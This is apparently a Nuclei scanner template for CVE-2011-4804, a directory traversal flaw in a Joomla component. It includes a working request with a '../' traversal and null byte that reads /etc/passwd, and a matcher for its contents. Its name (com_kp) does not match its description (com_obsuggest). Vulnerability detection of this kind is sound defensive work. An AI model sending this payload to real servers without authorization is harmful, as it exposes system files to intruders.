id: CVE-2011-4804 info: name: Joomla! Component com_kp - 'Controller' Local File Inclusion author: daffainfo severity: high description: A directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. reference: - https://www.exploit-db.com/exploits/36598 - http://web.archive.org/web/20140802122115/http://secunia.com/advisories/46844/ - http://web.archive.org/web/20210121214308/https://www.securityfocus.com/bid/48944/ - https://nvd.nist.gov/vuln/detail/CVE-2011-4804 remediation: Upgrade to a supported version. classification: cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N cvss-score: 5 cve-id: CVE-2011-4804 cwe-id: CWE-22 tags: lfi,edb,cve,cve2011,joomla metadata: max-request: 1 http: - method: GET path: - "{{BaseURL}}/index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # Enhanced by mp on 2022/02/18